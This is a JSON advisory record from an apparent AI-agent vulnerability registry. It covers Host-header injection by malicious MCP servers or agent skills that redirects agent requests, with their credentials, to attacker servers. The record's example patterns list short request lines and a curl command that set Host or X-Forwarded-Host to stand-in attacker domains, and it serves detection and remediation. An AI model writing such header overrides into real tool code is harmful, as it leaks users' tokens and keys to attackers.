AVE-2026-00049.json

{
  "ave_id": "AVE-2026-00049",
  "schema_version": "1.1.0",
  "status": "active",
  "published": "2026-06-21T00:00:00Z",
  "last_updated": "2026-08-26T00:00:00Z",
  "component_type": "mcp_server",
  "title": "HTTP Host Header Injection via Agent-Initiated Request (BadHost)",
  "attack_class": "Supply Chain - HTTP Header Injection",
  "severity": "HIGH",
  "description": "A skill or MCP component injects a malicious Host header (or other HTTP request headers such as X-Forwarded-Host or X-Original-URL) into agent-initiated outbound HTTP requests. By overriding the Host header, the attacker redirects the request to an attacker-controlled server while the agent believes it is contacting the legitimate declared endpoint. The server at the injected host receives the full request including any authentication tokens, API keys, or session credentials the agent was sending to the legitimate target.",
  "affected_platforms": [
    "claude-desktop",
    "claude-code",
    "cursor",
    "any-mcp-client",
    "any-agent-skill-loader"
  ],
  "affected_registries": [
    "registry.modelcontextprotocol.io",
    "smithery.ai",
    "any-skill-registry",
    "github-public-repos"
  ],
  "aivss_score": 7.2,
  "cvss_base_vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
  "owasp_asi": ["ASI04"],
  "mitre_atlas": [
    "AML.T0011"
  ],
  "nist_ai_rmf": [
    "MAP-1.5",
    "MEASURE-2.6"
  ],
  "behavioral_fingerprint": "Component sets or overwrites the HTTP Host header on outbound requests to a value that does not match the declared target endpoint's natural host. The injected host points to attacker infrastructure. Pattern also manifests as X-Forwarded-Host, X-Original-URL, or Forwarded header manipulation that causes server-side request routing to an unintended destination.",
  "behavioral_vector": [
    "host-header-injection",
    "request-routing-abuse",
    "badhost"
  ],
  "provenance_vector": {
    "entry_class": "transport",
    "payload_surface": "outbound HTTP Host / X-Forwarded-Host / Forwarded header",
    "escalation": "instruction_to_capability"
  },
  "trifecta_profile": {
    "requires": [
      "external_comms"
    ]
  },
  "mitigation": {
    "strategy": [
      "validate_input",
      "sever_egress"
    ],
    "enforcement_point": "network_layer",
    "trifecta_control": "break_external_comms"
  },
  "example_patterns": [
    "requests.get(url, headers={'Host': 'evil.com'})",
    "headers['X-Forwarded-Host'] = 'attacker.com'",
    "curl -H 'Host: attacker.io' https://api.legitimate.com/endpoint",
    "httpx.get(target, headers={'Host': override_host})",
    "fetch(url, { headers: { 'Host': exfil_host } })"
  ],
  "mutation_count": 12,
  "detection_methodology": "1. Scan skill and MCP tool files for explicit Host header assignment in HTTP request code. 2. Flag X-Forwarded-Host or X-Original-URL header injection patterns. 3. Check for header construction where host value is sourced from a variable that differs from the URL's authority component. 4. Flag curl or fetch patterns with -H 'Host:' overrides pointing to domains other than the URL domain.",
  "indicators_of_compromise": [
    "Explicit Host header set in outbound HTTP request to a value differing from the request URL's host",
    "X-Forwarded-Host or X-Original-URL header injected with external domain value",
    "HTTP client constructed with headers dict containing 'Host' key",
    "Forwarded header containing host= with attacker-controlled domain",
    "curl invocation with -H 'Host: <external-domain>' flag alongside a different target URL"
  ],
  "remediation": "1. Never allow skill or tool code to override the Host header on outbound requests unless the target host is explicitly declared in the skill manifest. 2. Validate that the Host header in any HTTP client configuration matches the authority component of the declared endpoint URL. 3. Pin the Host header to the URL's own authority in any HTTP client wrapper. 4. Block outbound requests where Host header does not match the request URL host at the agent's HTTP transport layer.",
  "kill_switch_active": true,
  "researcher": "Saray Chak",
  "researcher_url": "https://bawbel.io",
  "references": [
    {
      "tag": "OWASP Host Header Testing",
      "text": "OWASP Web Security Testing Guide \u2014 Testing for Host Header Injection (WSTG-INPV-17)",
      "url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection"
    },
    {
      "tag": "CWE-644",
      "text": "CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax",
      "url": "https://cwe.mitre.org/data/definitions/644.html"
    },
    {
      "tag": "CWE-20",
      "text": "CWE-20: Improper Input Validation \u2014 MITRE Common Weakness Enumeration",
      "url": "https://cwe.mitre.org/data/definitions/20.html"
    },
    {
      "tag": "PortSwigger",
      "text": "PortSwigger Web Security Academy \u2014 HTTP Host header attacks",
      "url": "https://portswigger.net/web-security/host-header"
    },
    {
      "tag": "AVE Registry",
      "text": "AVE-2026-00049 \u2014 AVE behavioral vulnerability registry",
      "url": "https://github.com/aveproject/ave/blob/main/records/AVE-2026-00049.json"
    }
  ],
  "owasp_mcp": [
    "MCP04",
    "MCP05"
  ],
  "aivss": {
    "cvss_base": 8.0,
    "aarf": {
      "autonomy": 1,
      "tool_use": 1,
      "multi_agent": 0.5,
      "non_determinism": 0.5,
      "self_modification": 0,
      "dynamic_identity": 0.5,
      "persistent_memory": 0,
      "natural_language_input": 1,
      "data_access": 1,
      "external_dependencies": 1
    },
    "aars": 6.5,
    "thm": 1.0,
    "mitigation_factor": 1,
    "aivss_score": 7.2,
    "aivss_severity": "HIGH",
    "spec_version": "0.8",
    "notes": "AARF elevated by autonomy and external dependency factors. Agent-initiated requests carrying credentials to attacker host amplifies impact."
  },
  "evidence_kind_default": "tool_description_pattern",
  "detection_stage": "static_detection",
  "detection_layer": "content",
  "confidence_baseline": 0.82,
  "evidence_basis_engines": [
    "pattern",
    "semgrep"
  ],
  "derivable_into": [],
  "framework_sources": {
    "owasp_mcp": {
      "commit": "165fe0f78ef104459237b4a8e0f6e78db9b02391",
      "read_date": "2026-09-05"
    },
    "owasp_asi": {
      "version": "2026",
      "read_date": "2026-08-23"
    }
  }
}